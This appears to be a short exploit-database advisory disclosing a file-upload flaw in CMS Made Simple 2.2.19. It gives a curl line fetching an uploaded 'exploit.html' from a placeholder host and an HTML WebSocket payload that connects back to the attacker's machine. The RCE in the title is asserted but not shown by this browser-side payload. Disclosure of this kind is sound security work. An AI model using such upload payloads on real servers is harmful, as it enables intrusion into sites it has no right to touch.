cmsms-2.2.19 - File Upload - RCE
## Title: cmsms-2.2.19 - File Upload - RCE ## Author: nu11secur1ty ## Date: 12/29/2023 ## Vendor: https://www.cmsmadesimple.org/ ## Software: https://www.cmsmadesimple.org/downloads-header/cmsms/ ## Reference: https://portswigger.net/web-security/file-upload, https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-web-shell-upload ## Description: The parameter "fileupload" in type ID is vulnerable to File Upload and RCE attacks, it is not sanitized correctly. The attacker can upload a virus directly on the server by using this web vulnerability, and then he can execute it, this can be the end of this server depending on the scenario! In this case, I just uploaded a [WebSocket] connector - exploit.html to connect the server with my machine, this is so nasty. I am a Penetration Tester, not a stupid cracker! Thank you all! STATUS: HIGH- Vulnerability [+]Exploit execution: ```curl https://pwnedhost.com/uploads/exploit.html ``` [+]Exploit: ```HTML <html> <script> (() => { const ws = new WebSocket('ws://0.0.0.0:8080') ws.onopen = () => { console.log('ws opened on browser') ws.send('hello, you are connected with malicious software.') } ws.onmessage = (message) => { console.log(`message received ${message}`) } })() </script> </html> ``` ## Reproduce: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/cmsmadesimple.org/2023/CMSMS%E2%84%A2-2.2.19) ## Proof and Exploit: [href](https://www.nu11secur1ty.com/2023/12/cmsms-2219-file-upload-rce.html) ## Time spent: 00:35:00 -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html https://cxsecurity.com/ and https://www.exploit-db.com/ 0day Exploit DataBase https://0day.today/ home page: https://www.nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <http://nu11secur1ty.com/>
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